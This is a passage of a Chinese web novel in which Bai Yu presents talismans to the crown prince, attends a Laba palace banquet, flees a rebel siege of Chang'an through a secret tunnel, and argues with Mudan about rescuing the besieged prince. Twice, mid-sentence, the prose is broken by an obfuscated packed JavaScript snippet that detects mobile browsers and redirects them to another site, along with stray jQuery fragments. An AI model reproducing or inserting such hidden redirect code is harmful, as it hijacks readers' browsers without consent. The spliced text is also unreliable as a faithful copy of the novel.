太子坐着不动,脸上挂着亲和的笑容让她们起身坐下,慕五也起身也拱手回礼。 一番礼遇后,白羽才道出她的来意。 “民女此番前来是为答谢殿下为民女之案费心费力,将罪人绳之以法,免民女牢狱之灾,没有什么贵重之物,这匣子里是答谢礼,望殿下不弃收下。”白羽双手奉上一只红木匣子。 “白羽姑娘客气了,”太子看了慕五一眼,对方识趣上前接过白羽手中之物,太子又笑着说:“圣旨所驱,也是我职责所在,再说你我日后就是一家人,不需要这么多礼数。” 太子打开匣子,红绒布上铺陈着两张黄符纸,他一时不知该做什么表情,迟疑问道:“这……?” 白羽说:“我精通符篆秘术,这两道符,一道是平安长寿符,一道是官运亨通符,放在日常起居之所或者随身携带都是对持有人有好处的。当然,殿下若是不放心,不用就是了。” 太子合上匣子,表情惊讶,“没想到白羽姑娘涉猎这么广,我就收下了,多谢。” 他们谈话这么久,牡丹一直没有说话,太子这时问到她:“这位姑娘怎么称呼?好似之前在大理寺就见过?” “太子叫我牡丹就行。”牡丹心生一计,但她没有提前跟白羽通气,不知道可不可行,她一边跟太子寒暄一边悄悄传音给白羽,看见白羽端起茶盏喝茶后,心中才有了底。 于是,她接着说:“太子记性真好,只见过一面的人也能记这么清楚。不过,我与白羽乃好友,我此番上京是来寻亲的。” 她话都说到这里了,太子不能不问,他从善如流接口:“牡丹姑娘所寻何人,若有画像我也可帮着寻寻。” 跟体面人说话就是顺心,他完全能站在别人的角度上考虑问题。 牡丹心里乐颠颠的,白羽佯装不知,低头喝茶,就听她假惺惺地为难了一下,然后说:“画像?我出来确实没带在身上,太子若是愿借墨宝,我可现场给您画一幅。” “那,请随我去书房吧。” 太子带领几人去另一间没有机密文件的书房,侍候在侧的宫人摆砚磨墨,牡丹就去一旁净手准备。 牡丹极擅丹青,这个白羽知晓,但是看着那张画纸上眉眼具现,身姿飘逸的男子仿佛要跳出画布之外,发丝随风飞舞、手持画轴,悲悯苍生的翩然之姿一出来,她就有点控制不住情绪。 她的师父,天地间第一位也是最后一位远古上神——芫回上神。 勉强拉回陷入回忆里的思绪,却听到身旁一片寂静,良久后,太子凝视画像,说:“这是孤?” 他的语气是疑问,也是肯定。 这画上之人跟他共用一张脸,但是浑身穿戴和神情气质却是他不曾有的。 慕五看到成品的那一刻也倒吸了一口凉气,他才是最不敢置信的那个,他兄长这张脸除了每年外出游玩那几月,他几乎天天见,没有人比他更能体会同一张脸出现在另一个人身上的惊悚感。 他问:“牡丹姑娘,你确定这画上之人真的存在吗?这难道不是仙人吗?” 牡丹反问他:“你见过仙人?” “那我肯定没见过,这世道连个修仙的都没有,哪来的仙人!” “小五,不可胡言。”太子提点慕五一句,他释然地说道:“‘子不语怪力乱神’,这世上或许真的有两个相貌相同的人过着截然不同的人生吧。” 白羽着重盯着太子看了一眼,这个人还挺有悟性的,这个世道若真能修仙,他或许能感悟天道、原地飞升。 “这人也许不好找,牡丹姑娘不妨将此画像留给我,若真能找到,也是件幸事。”太子温和提议道。 牡丹很满意,“那是自然,有劳太子费心。” 今日要做的事已达成,白羽和牡丹打算就此告辞,太子却突然叫住白羽,“白羽姑娘留步,你与小五婚事已成,明日腊八,宫中有宴请,你也是必须参加的。请帖或许已送达你的居所,你可邀一位好友与你共同赴宴,请好生准备。” “是,多谢太子提醒。”白羽道谢后退出房间。 慕五送两人出去,路上他小声给白羽解释:“腊八是早晨开宴,你天还没亮就要启程了,明日陛下可能会见见你,不过你别担心,就是正常的询问,我、我母亲、我兄长都会在的。” “好,我知道了。不用送了,你回去吧。”白羽说。 慕五还是一路把两人送至东宫对外的大门处,看着她们上了马车才说:“我还要回去上课读书,改天有空找你们玩儿!” 白羽跟他道别后,马车走起来,她眉心不展,跟牡丹诉说:“腊八宫宴,我怎么总觉得有事会发生?” 牡丹大大咧咧往车壁上一靠,披风围着,她又拉过车上备用的毯子把自己裹起来,抖抖索索地说:“你别想那么多,我明日跟你进宫就是了,起码有危险了我能护住你。” 白羽点头,看着牡丹把自己裹得严严实实,就剩一颗头在外面,她觉得她太夸张了,质疑道:“有那么冷吗?” “我们不是一个物种,你当然体会不到我的感受了。” 行吧。白羽不说了。 ………… 白羽和牡丹早晨出门,贺六是知道的,雪下得太大了,杂耍班依然没办法顺利出摊,酒楼老板特意在后院给他们找了块空旷地方操练。 贺六练完一套枪法,准备回房时,路过大堂,酒楼老板叫住他,说宫里来人送东西给白羽姑娘,她人不在,他就代收了,他等会要出门,刚好碰上贺六,就让他给捎上去。 贺六接过那纸红封请帖,看着上面敕造的宫印,心里恍惚想到,阿习姑娘如今是五皇子的未婚妻子了,宫中宴会是有资格要参加的。 他捏着请帖抬步上楼,打算等她回来再交给她。 走上最后一级木质楼梯,转头时,在回廊尽头看见潘大夫的一截身影,她正在和人交谈。 贺六惊讶,他最近也很少见潘大夫。前段时间她总说自己药材不够,要出门采购,贺老大担心她的安全,陪了几次,但又太忙,不能总陪着她出门。于是,她经常自己早出晚归,一天也碰不上面。 既然好不容易见到了,贺六也有意去打声招呼,他走近后才出声:“潘大夫早啊!” 潘大夫被吓了一跳,转头看见是贺六,忙稳住面上表情,打发那人让他先走,等人走后,她笑骂贺六:“你小子突然蹦出来吓死我了!” 贺六凝望着那中年男子远去的背影问潘大夫:“那人谁啊?” “噢,上门求医的。”潘大夫随口说,问贺六:“你找我何事?” 贺六没仔细听潘大夫的话,他还是在想刚才看到的那张脸,很面熟,好像在哪见过似的,但就是一时想不起来。 潘大夫问话才让他回过神来,实话实说道:“这不是好久没见您了嘛,您药材收集齐了吗?要是还缺的话,这几天我闲着,去帮您一起置办。” 见贺六不再追问,潘大夫的心安下来,婉拒道:“不用,已经齐了,你忙你的去吧。” 贺六告辞后回到自己房间,他坐下了才想起手中还拿着白羽的请帖,又起身放好,走至一半他猛然间想起在哪里见过这个人了…… 临近午时,白羽和牡丹回到酒楼,听见动静的贺六走出来,把宫里来人送的请帖交到白羽手上,道了别转身要走,却被白羽叫住。 “等等,贺六哥,我之前问你要不要在外面赁一处院子居住,你们商量得怎么样?贺老大怎么说?” 贺六一拍脑门,懊恼道:“实在抱歉,是我忘了跟你说了,贺老大早在几天前就告诉我了,说杂耍班的人都同意住在外面,看你哪天有时间,让我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780774|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一起去看房。” “无碍的,也是我经常不在的缘故。”白羽想了想说:“那就明天下午吧,牡丹姐姐明天要同我一起去宫中赴宴,若我们下半晌出来早的话,就明天去,实在不行就后天去也可。” “我这边没问题,你们什么时候有时间喊我就行。”贺六爽快地答应了。 他走后,白羽和牡丹回到房间坐下,白羽煮茶,牡丹歪倒在一边,看着白羽声音平平地问:“真要搬出去住?” “是啊,总住在客栈里也不是办法。”白羽慢慢悠悠地将茶叶撒入沸腾的壶中,盖上盖子,用小扇轻轻煽动着壶座底下的红泥火炉,声音也飘忽忽的,“我大致在心里盘算了一下,过年前后这一两个月,我们是没办法离开京城的。与其住在客栈里,不如自己租个院子宽敞,怎么你舍不得这里?” “那倒也不是,我只是想你如今与宫里边打交道多,这个酒楼位置很好,进宫也方便。要是出去租房住,皇城附近肯定租不到,就只能考虑偏远一点的地方,你想好了吗?。”牡丹声音懒懒的。 白羽说:“暂时不用想那么多。况且,我们还要考虑到杂耍班他们,两家住在一起,不适合住在昂贵显眼的地方。” 既然白羽都这么说了,牡丹也就不提了。 另一边,慕五送完白羽回到太子身边时,正好看到他在处理白羽送给他的红木匣子。 太子让宫人拿下去造册登记后收起来,慕五知道他兄长收到的礼一般都是这么处理的,而这么处理也就意味着这件礼物今后不会作为日常用物出现在他眼前。 慕五总觉得他这做法暴殄天物,如今一看白羽送的符纸也被这么对待,他坐不住了。 宫人捧着匣子从慕五身边路过,慕五叫住了他,然后对太子嚷嚷:“兄长,白羽姑娘说这符能保平安长寿和官运亨通,你为什么不用?” 太子不想多解释,说得多了徒废唇舌,说得少了好像他对这个未来弟妹有什么意见似的,摸准了这个“痴情”少年的心思,直击要害:“你想要的话送你了。” “真的送给我吗!?”慕五惊喜! 他知道白羽会画符篆,跟她同行的商队和杂耍班人手一份,他也想要来着,但当初他买了假“平安符”,没好意思向白羽开口。 没成想今天还能得到两张“加强版”的平安符。 看来昨晚来对地方,赚到了。 “拿去吧拿去吧。”太子摆手,示意宫人,“给他吧。” 慕五捧着装有两道符的红匣子,乖乖去弘文殿读书了。 客栈里,白羽和牡丹午间用饭后休息了一阵,牡丹歇过劲儿来,兴致勃勃地拉她出门置办行头。 她说:“输人不输阵,人也不能输。” 结果自然是买了一大堆时兴的衣服首饰、胭脂水粉,正打算明日一早在皇宫大放光彩。 晚间,皇后派了她的贴身侍女来客栈伺候白羽,指导她明日宫宴的礼仪和着装。说是伺候,毕竟是皇后身边的人,白羽哪能真让人端茶倒水、进出跟随。白羽也知道皇后是看在慕五的面子上,也是对她检举娄家谋逆一案,间接帮助了太子稳固地位一事的报答。 白羽客客气气、温和有礼地接待了这位宫里出来的侍女,那侍女本也怕这位敢阵前逃婚、千里上京告御状、把娄昭仪的脸扔地上踩、一举将娄家拉下马的五皇子未婚妻是个不好伺候的强势狠人,来之前她也战战兢兢了好久,没想到接触下来这位倒是符合年龄,完完全全是个聪慧守礼的漂亮小姑娘,她一下子放心多了。 两方都有默契,参加宫宴前的准备事宜就好办多了。 第二日,天还未亮,皇后身边的侍女就来叫白羽起床收拾了。 牡丹没睡够,听到声音,烦躁地翻了个身面朝里侧继续睡。白羽睁开眼睛,呆滞片刻,回应外面:“请稍后,我们即刻就起。” 那侍女听后就在门口等候,白羽撑着身体坐起来,虽然内室火炉未熄,但清晨的凉意仍然像刺骨的湖水打湿了她。 白羽披衣下床后,给火炉里又添了几条碳,然后回过头来小声叫牡丹:“起来了,再不起皇后的侍女就要冲进来了。” 牡丹睁开眼睛,表情冷静地低声说:“我现在支持你不嫁给慕五了,真嫁入皇室以后天天这个时辰起床,谁受得了啊!” 白羽笑了一下,看到牡丹已经坐起来,穿好衣服下床了,她便请那侍女进来帮她们监督装扮有哪里不妥。 一切打理好已经是一个时辰后的事了,这时天边多了抹青釉色,像是汝窑官瓷里刚刚烧制好的青花瓷瓶,美丽耀眼但却易碎。 白羽收回眼光,与牡丹一起下楼坐车进宫。 车行在宽阔的道路上,街巷还未热闹起来,转过头走到皇城附近,远远近近有不少马车和轿子与她们目的相同。 侍女看到白羽一直在看外面,她打开窗帘看了一眼,给白羽解释道:“那是进宫赴宴的大臣以及其家眷,还有宗室们。” 白羽笑着点了下头,放下帘子不再看了。 今日进宫赴宴,目标也是平安出宫。 23. 动乱 清晨的宫禁雾蒙蒙的,宫道两侧汉白玉石灯柱里的蜡烛还未来得及熄灭,一抹鱼肚白就慢腾腾地翻了起来,在前面引路的宫人提着灯笼,身前身后都是一行三三两两的赴宴之人,共同前往今日摆宴的多极殿。 皇宫太大,宫道太长,白羽走的全身发凉,出马车时拢着一披风严严实实的热气,都逸散在身后的道路上,回去捡也来不及了。 转头一看,牡丹比她冷得还严重,只是维持着礼仪风度没有缩起来。 走了能有两三刻钟那么久,她们终于随着灯笼停在了一处大殿门前。 白羽仰头看到了泼墨挥毫的三个漆金大字——“多极殿”。 太平无事,百岁多极。 求得也不多。 在殿前又等了一刻钟,众人才按照身份地位依次进殿,由宫人带领着去自己的位置安坐下来。 殿内也冷,即使两侧摆放了一排火炉,在这能容纳数百人的空旷大殿里,仍像一瓢滚烫的水泼进了汪洋大海里,连只鱼都烫不熟。 好在热汤热茶先上来了,冷了一早上的王公大臣、贵妇官眷们僵着的脸也慢慢软化下来。 白羽倒了两杯热茶,端起来边喝边暖手,这才有心情观察殿内陈设和坐席位次。她的身份因为慕五十分靠前,再往前面应该就是皇室宗亲,正前方那个最显眼的位置是皇帝坐的,左右两侧应该是太子和太后、皇后,后面就是嫔妃、皇子公主了。 另一边是文武官员和内眷坐席,能进宫赴宴的都是有爵位或者三品以上在京大员,看着都有些年纪了,至于身后的官夫人们,白羽离得远就看不清了。 辰时初,钟鼓楼报时,钟声响彻在皇宫禁内,慢慢扩散至皇城四通八达的御道上,声音传达至整个长安城上空,钟声覆盖的地方就是皇权所辖的宇内。 所有人都到齐了,就剩后宫那几位大人物了,白羽耐心地喝茶等候。先是太子到了,身边跟着内监和东宫官员,白羽见到了入京后就没碰过面的钱方,穿着一身官服,坐在东宫官署的席位上,太子则走向最前方,坐在了左下位置上。 随后,帝后和太后一起入场,太后身边跟着一身金玉装饰的慕五,慕五扶太后入座时,经过白羽的席位,偏头看了她一眼,太后瞧见了笑着拍了拍他的手,慕五立马收回眼神,低头走路。 帝后受完众人礼拜,入座后,宴席迅速摆上,歌舞也开始入场。 白羽饮尽杯中热茶,她知道快轮到她上台唱戏了。 果然,她刚放下杯子,就听座上皇帝问道:“我们小五的未婚妻子在哪坐着呢?上前来给朕瞧瞧。” 自有宫人前来领着白羽去皇帝面前见礼,白羽站定后按照皇后侍女教的礼仪,规规矩矩地给帝后、太后和太子行礼。 皇帝叫了起,白羽站起来抬首垂眼,任人打量,皇后的侍女不让看座上人。 白羽心里正不耐烦,就听见皇帝叫慕五也出列跟她站在一起,让他们俩抬起头来。 白羽抬眼直视座上之人,只见皇帝是个约摸天命之年的中老年男子,身形还算高大健壮,王冠之下的两鬓皆已斑白,看着跟皇后不像是同龄人。面容威严,此刻却展着笑容,他满意地点头,口中说:“不错,如皇后所说是个端正秀丽的姑娘,配得上我们小五。” 皇后看起来也喜气盈盈的,她可能是真的高兴,便也打趣道:“吾怎会骗陛下,小五也是我的孩子,自然是要给他寻这天下最好的女子做妻子,何况他们俩年龄相仿,又有一路同行、生死与共的情谊,这将来啊就是‘少年夫妻老来伴’了。” “说得是,”皇帝拍了拍皇后的手,思索后道:“两个孩子年龄还小,婚期不如就定在两年后吧,也给小五的府邸留出修缮时间。” “好啊,白姑娘的娘家远在永州,以吾之见,不如就让她留在京城待嫁吧,就住在慕家。一来熟悉京城风物人情,二来也能经常进宫陪我,与小五也有时间相处,陛下看如何?” “皇后安排得极好,就依你的想法去办。” 白羽和慕五一句话没说,这夫妻俩都给他们安排好了,白羽在心里“啧”了一声,想着皇后要她住进慕家,这不就是她的娘家,慕五的外祖家吗? 不行,得想个办法赶紧把婚退了,否则真一辈子都离不开京城了。 白羽这厢脑子里计划着退婚,慕五站在她旁边乐呵呵地笑,一直拿眼睛偷瞄她,他想着,白羽日后住进他外祖家,出宫找她玩就方便多了,京城好玩的地方可多着呢! 皇后看着慕五的表情就知道他在想什么,笑着摇了摇头,把孩子养得太天真单纯了可怎么办? 不过回过头来又想到,罢了,有她和太子在,只要太子能顺利登基,小五就会永远保持这份纯真无邪的心。 皇后说:“陛下让两个孩子都回座吧,以后有的是时间叙话。” 皇帝摆手后,白羽和慕五依次退下,回到各自的座椅上。 白羽刚坐下,牡丹就靠过来说话:“我可陪不了你在这里待两年,明年春操办完凡间的春花宴,我就该回去了,你自己可怎么办?” 白羽摇摇头,低声说:“不会那么久,明年春天之前,我会想办法退掉这场婚约,届时就能离开京城了。” 牡丹扪心自问,有那么容易吗? 刚想问她有什么想法,就看见等了一早上的“主角”上桌了——腊八粥。 这碗粥是桌上饮食中唯一冒着热气的食物,其他菜肴端上桌的时候都是半死不活的,唯独这碗腊八粥有“锅气”。 牡丹二话不说拿起汤勺就是喝,宫中御厨手艺不赖,牡丹尝到了炖的软烂的各色原料,稻米、小米、黄米细滑,红豆、芸豆、绿豆软糯,核桃、栗子、莲子、杏仁、百合、桂圆清甜,红枣、葡萄干、银耳香甜入味,各种食材融合得很好,一口吃下去,全都是丰收的喜悦。 白羽尝过也觉得味道不错,冷了一早上的胃,渐渐暖和起来。 酒过三巡,菜过五味,歌舞也欣赏得差不多了,时至巳时末,宴席到这里也就快结束了。 白羽和牡丹坐在一起,欣赏宫宴即将落幕时最后的平静,场中舞姬配合得更加默契,腰肢旋转得几乎要原地起飞,却突然被一声唱和打断,她紧急停下来,白羽都害怕她扭到腰,她却稳稳地落在地上。 紧接着,那唱和的宫人回禀,一个身披甲胄的侍卫上前说:“启奏陛下,吴王殿下回京,言在城外看到了叛军踪迹,臣不敢不来回话,请陛下恕罪!” 叛军竟然在京畿现身了! 殿内凡是听到这个消息的文武百官、皇室宗亲无不起坐惊惶,都指望着皇帝能给他们解决,眼神期盼地望着他。 皇帝也很震惊,他连忙问:“吴王何在?宣他上殿,朕要问清楚,也好让臣民们安心。” “回禀陛下!”那侍卫一抱拳,朗声道:“吴王殿下已经入城,此刻正在赶来的路上。” 皇帝摆手让他先退下,消息不明,也根本不敢让宴席上这些人走,万一走漏风声,恐怕会引起动荡。 于是,宫宴一切照旧,只是大家都没了玩乐的心思,鸦雀无声地等待吴王给个最后通牒。 时过正午,白羽和牡丹又在宫里用过午饭,刚收拾下去,就听宫人禀报:“吴王觐见!” 殿前阶下,一年轻男子拾阶而上,风尘仆仆地赶来,身穿朱红色衣袍,肩部、肘部和腰腹部褶皱重叠,那是连日以来骑马造成的,颊边和下颌处有黑色胡茬隐隐冒出,眉眼间暗含疲惫之色,明显是赶路辛苦,未洗风尘就来上前跪拜。 此刻,却没人敢说他仪容不整,御前失仪。 都等着听他给叛军踪迹下个定论。 皇帝没让他把见君的礼仪行完,就直接问道:“萧将军说你在城外看到了叛军,是真的吗?叛军果然已到京畿重地了吗?” 吴王收起拜礼,稍微过脑一思,就立马组织了话语,他大手一挥,笑得有些无奈,说:“回父亲,儿子在汉阴走道回京的时候碰到了罪臣娄氏一行,又往前行遇见了青州军押送的几名叛军反贼,谁知‘一传十,十传百’,传到萧将军耳朵里就成了儿子在城外看到了叛军踪迹,这可真是无稽之谈!叛军已被诛灭,我朝长治久安,永保太平!” “好!好!好!”皇帝一连说了三个好,也不知是说吴王会说话的“好”,还是叛军被诛灭,太平长安的“好”。 总之,吴王出尽风头,领了赏赐无数,而乱传话的萧将军也被军法处置。 既然并无叛军出没,已安民心,延长的宴会到此结束,皇帝点了太子和吴王以及几个重臣去了勤政殿议事,其他人都各自出宫回家。 皇后的侍女圆满完成任务,回宫复命去了。 马车上就白羽和牡丹两个人,说话自在了不少,白羽问牡丹:“叛军的事,你怎么看?” 牡丹抱臂思索:“可能真就像吴王说的那样?他只是遇见了被押送进京的叛军,结果被人误传成看到叛军踪迹,他不敢在大殿上撒谎的吧?” “可他真要在大殿上实话实说,那才是要命的大罪吧?”白羽说。 牡丹疑虑:“这么说真有叛军?” 白羽摇头,“我不知道,慕五说过青州军抓捕叛军的时候跑了一部分人马,没抓干净,谁知道是不是这些人卷土重来了。” 和她们有同样疑虑的人不在少数,长安城是自古以来的交通要塞,这座城的历史比皇权的历史要悠久得多,生活在其中的人早就有了自己的一套处事法则——“留得青山在,不怕没柴烧”。 有机警的人家已经收拾好了包袱细软,随时准备弃城逃跑。有说“城在人在,城亡人亡”的,开玩笑,这是他们李家的江山,说不定叛军来了,他们跑得比兔子还快,哪还管老百姓的死活。 城中车马人流都维持在一个乱象发生前诡异的平静中,白羽说好要出门看房子的打算也落了空。 等到晚上,四下里安静下来,只有巡夜的士兵马蹄与甲胄发出的声音,响彻在空旷寂静的街道上。 明明是雪夜,却一点风声也没有。 突然,冲天火光自城门□□发,喊打喊杀声渐渐传开来,一切发生得太突然,打了守城士兵一个措手不及。 受了仗刑伤还没好的萧将军被人挖起来指挥战局,又连忙命人给宫里递消息。 客栈里,掌柜的着急忙慌在外面敲响白羽的房门,因为白天的事,白羽和牡丹本来就没睡,此刻听见敲门声,立刻开了门打听消息。 “掌柜的,现在什么情况?”白羽问。 客栈掌柜摸了一把额头急出的汗,说:“叛军开始攻城了,宫里还没得到消息。小人是来请姑娘随我去地下躲一躲,这酒楼地下有个暗道,能直接通往城外,劳姑娘收拾好了去后院稍等片刻,小人还要去通知其他客人。” 老掌柜说完就转头去敲其他人的门,白羽和牡丹没多话,立刻收了包袱去叫杂耍班众人,收拾好后在后院等待。 聚齐后人也不多,总共二十来个人,这酒楼也不是专司住宿,只见掌柜的背了一个箱子,走到墙角后挪开一口坛子,再掀开一块遮盖的木板,下面赫然出现了一个可容一人进出的洞口。 掌柜的点燃一支火折子,率先下了洞,他在底下站稳后出声:“大家依次下来吧,最后一个下来的人,把坛子放在木板上,拉住木板底部的拉环,将洞口恢复原貌。” 白羽听完紧跟着下了地洞,牡丹紧随其后,之后就是贺六和杂耍班众人,最后一个是酒楼的小跑堂,他将洞口恢复后,大家点过人数,跟着掌柜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780775|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续向前走。 甬道的高度和宽度仅容一人通过,白羽跟着掌柜手里的火折子光源走了许久,他才在一片空间更大的耳室前停了下来,举着火折子点亮墙壁上的烛台后,回头对大家说:“这里是一个停留点,大约在皇城西边,不好确定城外是否安全,还是请诸位在此多等两天再出去。” 烛光亮起,白羽才看到这间耳室的全貌。它在通道的水平上又往下挖了两丈余,总体高度有两人高,空间也很大,完全足够容纳这二十几个人。角落里堆放着几个木箱,用防水防潮的油布盖着,也有一些生活用物,还有铁锅和木柴。 掌柜的放下他身后背了一路的箱子,抬手去搬角落里的木箱,一边掀开油布一边说:“这里柴米油盐都齐全,本就是战时储备,我们的人也会时常下来替换新的粮食,大家放心在这里待两天。” 贺六看他搬得辛苦,忙放下手中包裹,帮着他一起收拾,杂耍班几个青壮年也上场了,在掌柜的指挥下搭起了暂时睡觉的床板被褥。 深夜,地下一片静谧无声,也不知现在是什么时辰。牡丹裹着被子靠在白羽身上昏昏欲睡,掌柜的起身看她还没睡,给她旁边的火盆里加了两条炭,白羽低声说:“也不知宫里现在是什么情况?” 掌柜的只当她担心慕五处境,口中安慰道:“姑娘别忧心,贵人们吉人自有天相,夜深了睡吧。” 白羽没再说话,安静地闭上眼。 第二天,依然在地下等待。 其实人在地下对于时间的概念是模糊的,他们不知道此刻是白天还是黑夜,只是睡够了时辰自然就醒,饿了就动手煮饭吃。就这样睡了三次觉,吃过六七顿饭,他们决定换一个停留点。 几人与掌柜的合力把火扑灭,木箱和床板、被褥归置原位,熄了墙壁上烛台,掌柜背上他的箱子,带领大家继续往前走。 这次经过一个耳室停留点,商量过后,他们却没有选择停下,沿着甬道继续往出口走,又走了不知道多久,掌柜的在白羽前面停下,他摸向墙壁上一个凸起的石头,用力扳动,一阵“咔咔”声过后,众人眼前出现一条向上的石阶。 走到石阶尽头,掌柜的推开上面的木板,跨了出去,白羽出来后,映入眼帘的是郊外一所农庄的打谷场。 因为冬日,因为兵祸,因为此地偏僻,周围空无一人。 后面的人一个接一个出来,确定人都出来后,掌柜的重新封好密道出口,转身给他们说此地情况:“这里是酒楼名下的一个庄子,出城百余里,那些人暂时找不到这里,若要离开现在就可以走,若无处可去,可随我们住在庄子上。” 除了杂耍班和几个跑堂伙计,剩下的几位客人都是外地富商,来京城做生意,没想到遇上这场叛乱,好不容易离开,当然是各自回家或去投奔亲故更为便宜,也都一一和掌柜的致谢辞行。 他们走后,掌柜的带领白羽牡丹和杂耍班一行穿过晒谷场,来到一处农舍屋宇前,进门后,掌柜的招呼他们坐下,然后说:“诸位先在这里歇歇脚,庄子里都是我们自己人,稍后会有人送来食物和热汤,我去打探京中消息,回头告知各位,告辞了。” 掌柜的走后,没过多久果然有人送来了餐食和洗漱用的热水,炭火和一应日常用物都有。 房子不大,房间也不多,杂耍班男子彼此挤一挤倒没什么,就是潘大夫这里不好和其他人分在一起,于是她来了白羽和牡丹这里。 洗漱后吃饭的时候,潘大夫一副心事重重的样子,白羽问起,她也只是说心疼自己收集了好多天但没带出来的药材。 白羽听后安慰她:“没关系的,等战乱平息后,我们帮你再收就是了。” 潘大夫听后勉强笑了笑,才又低下头继续进食。 刚才来人后,白羽一打听才知道今日是腊月十一,大约是午后申时,他们在地下待了将近三天时间。 三天,足够发生很多事情了。 吃过饭没多久,掌柜的急匆匆跑来,一进门就给他们诉说外面的情况。 腊月初八夜里,叛军攻城,萧将军带病抵抗,同时使人进宫汇报军情。宫中议事未散,皇帝命禁卫司羽林卫死守京城四门要塞,并派人去京外三十里处调集京畿军里应外合杀退叛军。 腊月初九晨,经过一夜鏖战,守城士兵折损过半,京城四门守卫摇摇欲坠。午时过半,叛军攻破东城门侧门,双方在护城河里一番厮杀,层层叠叠的尸体垒得护城河河水暴涨三尺。是夜,东城门失守,百官劝皇帝退走长安城,走道咸阳,去往陈仓行宫避祸。 派出去调集京畿军的人马仍没有消息传来。 腊月初十晨,南城门失守,皇帝终于坐不住了,带领皇宫众人出逃,留下吴王率领剩余禁卫在城内击杀叛军,让太子带人去京畿军查探情况,若长安城沦陷,则带领京畿军夺回长安都城。 腊月初十夜里,皇宫众人顺利出逃,太子在亲卫的护送下成功突出重围,前往京畿军驻扎地。与此同时,各地勤王军正在统帅将军的带领下赶往京城救急。 “福无双至,祸不单行。” 各州突然爆发民乱,随时随地都有人揭竿而起,驻军们一边忙着调派人手赶往京城,一边要派兵镇压暴乱,忙了个四脚朝天。 好消息是太子成功掌控京畿军,重新编排作战计划,预备回京支援。坏消息是吴王不知所踪,京城已被叛军占领,同时有大批叛军人马包围京畿军,人数超京畿军三倍。 今日是腊月十一傍晚,太子被围困京畿军营一天,吴王失踪一天,皇帝出逃一天。 白羽听完,手一抖,手中茶杯不受控制地摔在地上,一碎八瓣。 之前还好好的,她还记得“太平无事,百岁多极”的题词,怎么突然间就江河日下了? 24. 救援 大雪封山,雪沫子砸在人脸上像刀割一样疼,山林间覆盖着一层又一层的积雪,偶有飞鸟掠过,还未来得及飞出山林,就被羽箭射穿心脏,从天空坠落下来。 人的血是冷的,呼出的气是冷的,就连流下的眼泪也是冷的。 今日是被围困的第十五天,太子在纸上划下第三个“正”字最后一横。 这么多天过去,他发出去的求救信如泥牛入海,没有回声,五天前最后一次突围,因兵力悬殊,被逼退入这处山坳中,从高处看,这仿佛是为他们剩余的七万人量身打造的“万人坑”。 沉稳如太子,此刻也有些沉不住气,粮草被截断,储备粮都不够七万士兵吃到正月初五,他脑中一直在思索计策,只敢在偶尔闲下来时想想父母和小五的现状,在心里祈祷他们平安无事。 下一刻,静默无声的帐中进来一个人,将士的刀刃挎在腰间,沉默拱手道:“殿下,钱大人传回消息,确认吴王失踪但还活着,萧将军为国捐躯。” “知道了,下去吧。”太子放下手中笔,良久无声。 京郊外的农庄里。 最近的战况白羽一直在关注,她虽然不知道皇帝一行逃到哪里了,但是京城里叛军扯旗自立,各地将军束手束脚,没能及时救援,让京城周围的叛军都腾出手来对付太子率领的京畿军的消息,她都能打听到。 五日前,白羽听说太子和叛军又打起来了,当时她就没忍住想要去帮太子,牡丹硬生生给拦下了,她当时说了一句话,令白羽难以忘怀。 她说:“你不是谁的救世主,若天亡此国,你的阵法再厉害也回天乏术。” 可是,被围困的人是太子,更可能是……我师父啊…… 快要年末了,这场仗打得更没有悬念,各地都在打仗,后面听说了太子率军被围困在一处山坳里,三十万困十万,没有粮草供给,只单单一个“困”字,不费吹灰之力就能拿下。 白羽的心焦,贺六也看在眼里,包括牡丹以各种理由拦下她的脚步。 腊月二十六入夜,北风呼号,冻土如铁。 牡丹实在关不住白羽了,两人在屋子里争执了起来,声音大的整个院子都能听见,贺六循声而来,刚好听到白羽一句:“非我不自量力,但凡有一分可能我都要去救他!” “你能不能先别急,等我打听清楚了肯定不会拦你!”牡丹拍桌子怒道。 “我能不急吗?”白羽声音冷得像石头,砸在人身上“咣咣”响,“太子被三十万大军围困,多困一天就多一天的危险,如果叛军今夜发起进攻,那今夜就是他的死期,我不能等人死了再去救吧!” “我没说不让你去救他,你又忘了自己吃过什么亏吗?没搞清楚,再来一次你承受得起代价吗?” “呵!”白羽冷笑,“说白了你就是看不起我,我的事如何,我承受什么代价也碍不着你,你大可把别人的嘱托抛之脑后就是!” “你简直蛮不讲理!”牡丹狠狠一甩袖。 两人顾忌着院子里还有其他人,吵架也吵得克制,很多人很多话语需要忌讳。 贺六此时敲门,小心翼翼地询问情况:“阿习姑娘,牡丹姑娘,你们还好吗?” 白羽没吭声,潘大夫早就在这种压力下躲去别人房里了,屋内就剩这么两个会喘气的,牡丹瞪了白羽一眼,自己去开门了。 放贺六进来后,牡丹气在心头,语气也算不上好听,不好意思的话也说得硬邦邦的,“我们无事,一些争执罢了,吵到你们了吗?” 